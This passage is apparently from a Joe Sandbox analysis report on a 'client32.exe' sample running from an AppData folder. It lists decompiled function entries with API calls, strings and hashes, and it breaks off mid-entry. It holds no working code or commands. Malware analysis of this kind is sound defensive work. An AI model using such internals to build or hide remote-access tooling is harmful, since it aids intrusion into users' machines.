Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction ID: cb86e9af08271205595a6f41abc8b2cb286fac045a185d6d6013f354b30fec65
Opcode Fuzzy Hash: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction Fuzzy Hash: 8951B1B6A00606AFE741CF64CC80BABB7E5FB88354F15816DF955C7340EB34E9428B61

Function 110091F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009265
_memmove.LIBCMT ref: 110092B6

Part of subcall function 11008D50: std::_Xinvalid_argument.LIBCPMT ref: 11008D6A

Strings

string too long, xrefs: 11009260

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction ID: 8571876bfdcccba51c928a6a288fcd5c1e124ad980ef247a8f71a2e078b75a0c
Opcode Fuzzy Hash: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction Fuzzy Hash: A731C732B14A104BF720DE9CE88095FF7EDEBE57A4B20061FE599C7640E7719C5083A1

Function 11147990 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111479B0

Strings

..\CTL32\uuencode.c, xrefs: 111479C3
buf, xrefs: 111479C8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: ..\CTL32\uuencode.c$buf
API String ID: 1579825452-878823822
Opcode ID: 9748761f0e71b584dfb37bb6812815516f3fde91ed2f3762d79063b5ba84f5d8
Instruction ID: 73ea6712212396b6a6fc606397e772e554f858908e38e2cc4dd0aee25463d80d
Opcode Fuzzy Hash: 9748761f0e71b584dfb37bb6812815516f3fde91ed2f3762d79063b5ba84f5d8
Instruction Fuzzy Hash: C2214CABE405411BD300097C9C905E6BB88CBA7138B3C4735E8EEC77C2F625E64E8791

Function 110416A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

__wcstoi64.LIBCMT ref: 11041706

Strings

Client, xrefs: 110416D0
DisableKeys, xrefs: 110416CB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __wcstoi64
String ID: Client$DisableKeys
API String ID: 398114495-4218113505
Opcode ID: 716cb09b3c2f6d142f2e5688581337e509dd50440af53e8e0f393a2c6f0442b6
Instruction ID: 68ded752b5482f5f1f1707e51c7ff90776eef8c426e4aed6d9b84e4704bb1440
Opcode Fuzzy Hash: 716cb09b3c2f6d142f2e5688581337e509dd50440af53e8e0f393a2c6f0442b6
Instruction Fuzzy Hash: 0121787AF0424616E720CE249D80BAEBBF9AF45708F2440F9DCC987541EE32F506C791

Function 1108F2F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1108F38C
__CxxThrowException@8.LIBCMT ref: 1108F3A1

Strings

L, xrefs: 1108F3D5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: L
API String ID: 1338273076-2909332022
Opcode ID: ca3c9e43b94024294cee3a83bd0df657fbb186da9c2071d90ca30164a8257d44
Instruction ID: a4fae97c5fdb08f5bbe7be2be84186cb3cec15bbd065a55e87689edd9833ea14
Opcode Fuzzy Hash: ca3c9e43b94024294cee3a83bd0df657fbb186da9c2071d90ca30164a8257d44
Instruction Fuzzy Hash: E73177B5D04259AFDB10DFA5C880BDEFBF8FB08754F04826DE915A7280D775A904CB51

Function 11041350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 11041413
__CxxThrowException@8.LIBCMT ref: 11041421

Strings

VolumeControl exception : %hs, xrefs: 11041431

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: VolumeControl exception : %hs
API String ID: 3728558374-910296547
Opcode ID: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction ID: 3351f46422f9e7833a0dd597507e069f064f33e0319a204fc915276dbd9183a5
Opcode Fuzzy Hash: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction Fuzzy Hash: A721E775F006059FCF01CF65C890BFEF7E8EB49609FA085A9E81697A40DB35B904CBA1

Function 1100F260 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F27B

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

std::_Xinvalid_argument.LIBCPMT ref: 1100F292

Strings

string too long, xrefs: 1100F276, 1100F28D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 6b1525799c9edef334f4852062e8405e18519a63a5733119385c965e45330704
Instruction ID: bb54faa7590d99a912cddc2b6cd1eeb78aa94a45d21c5f83dac251cd0972bc34
Opcode Fuzzy Hash: 6b1525799c9edef334f4852062e8405e18519a63a5733119385c965e45330704
Instruction Fuzzy Hash: EE119A377046544FE321D99CE880B6AF7E9EF956A4F20066FE59187650C7A1A84483A2

Function 110B9280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ShowWindow.USER32(8D111939,00000009,?,?,?,?,?,?,?,?,?,?,110BA3E6,110BFEBC), ref: 110B92CB

Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004C), ref: 110B8642
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004D), ref: 110B8649
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004E), ref: 110B8650
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004F), ref: 110B8657
Part of subcall function 110B8610: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B8666
Part of subcall function 110B8610: GetSystemMetrics.USER32(?), ref: 110B8674
Part of subcall function 110B8610: GetSystemMetrics.USER32(00000001), ref: 110B8683

MoveWindow.USER32(8D111939,?,?,?,?,00000001), ref: 110B92F3

Strings

j CB::OnRemoteSizeRestore(%d, %d, %d, %d), xrefs: 110B930D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$Window$InfoMoveParametersShow
String ID: j CB::OnRemoteSizeRestore(%d, %d, %d, %d)
API String ID: 2940908497-693965840
Opcode ID: eeba164e39b9a206ee0bd13021fe79c14c8f790cdcea3297abcc58d2d41d4cb3
Instruction ID: ea8a17caf2cab53e8fa0eb5ee6ebbdabb1f0cf5c0d35e4c5ce58ed4944f537fe
Opcode Fuzzy Hash: eeba164e39b9a206ee0bd13021fe79c14c8f790cdcea3297abcc58d2d41d4cb3
Instruction Fuzzy Hash: FF21EA75B0060AAFDB08DFA8C995DBEF7B5FB88304F104668E51997354DA30BD01CBA4

Function 11049550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(00000000,0000003E,?,?), ref: 11049611
_free.LIBCMT ref: 11049619

Strings

>, xrefs: 11049592

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _freeinet_addr
String ID: >
API String ID: 1695503834-325317158
Opcode ID: dce819e6e19835175f2eb2e805919a9a67d1191bb2d60a9b1a31f8b68dd0af42
Instruction ID: 6df48fcaa37723547dabdf7cd208d39f8a2ff7905a2c9ebf3e4832579dd6b0ea
Opcode Fuzzy Hash: dce819e6e19835175f2eb2e805919a9a67d1191bb2d60a9b1a31f8b68dd0af42
Instruction Fuzzy Hash: 4B21F838D0025B8BDB11DF28D8907D9B7F4FF5A314F6484E9D8C8DB240EA756A89CB91

Function 111471A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\bpsFyf\client32.exe,00000104,?,11143E73,?), ref: 11143C49

_memmove.LIBCMT ref: 11147211

Strings

Failed to get callstack, xrefs: 111471BD

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess_memmove
String ID: Failed to get callstack
API String ID: 4135527288-766476014
Opcode ID: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction ID: 4fb2fbc616631b5574b6180649b942946bf04768c5170edb731833e4cde01d29
Opcode Fuzzy Hash: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction Fuzzy Hash: D3219875A0011D9BCB14DF64DD94BAEB3B9EF8871CF1041AAEC0DA7240DB31AE54CB90

Function 11063090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106309F

Part of subcall function 1110F4A0: _malloc.LIBCMT ref: 1110F4A9
Part of subcall function 1110F4A0: _memset.LIBCMT ref: 1110F4D2

_swscanf.LIBCMT ref: 11063104

Strings

%d %d %d %d %d %d %d %d %d, xrefs: 110630FE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset$_malloc_swscanf
String ID: %d %d %d %d %d %d %d %d %d
API String ID: 226140750-2123045714
Opcode ID: 4711e5a1c1c86c382dbc854a19b4131db48f5f8086dc55bfce866748364dfc87
Instruction ID: 298e6396b29eeabd8d352511c8cf028c9fd899b3f0ddf6bd5fc34ff26e9d1feb
Opcode Fuzzy Hash: 4711e5a1c1c86c382dbc854a19b4131db48f5f8086dc55bfce866748364dfc87
Instruction Fuzzy Hash: 89117F76500205ABD721CA55CCC0EEB77FCEF89758B004919F64A8B540E671F958C7A1

Function 110ED250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00020019,?,00000000,59FD48C0,00000000,00020019,?,00000000), ref: 110ED280

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

(, xrefs: 110ED279
Error %d getting %s, xrefs: 110ED294

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValuewvsprintf
String ID: ($Error %d getting %s
API String ID: 141982866-3697087921
Opcode ID: ef2d7f3509dbd67b9f71e6e81423e7131c7de3edf52ba7e7570321b23b06e68c
Instruction ID: 38ad67af7cf9c35c8db4f97e6700948d2d14c8bc089a0f5a48db9c7a16624884
Opcode Fuzzy Hash: ef2d7f3509dbd67b9f71e6e81423e7131c7de3edf52ba7e7570321b23b06e68c
Instruction Fuzzy Hash: 7011A372E01118AFDB00DEA9DD45DEFB3B8EB94225F00816EF81597140DA71E914C761

Function 1115B940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1115B955

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

_memmove.LIBCMT ref: 1115B980

Strings

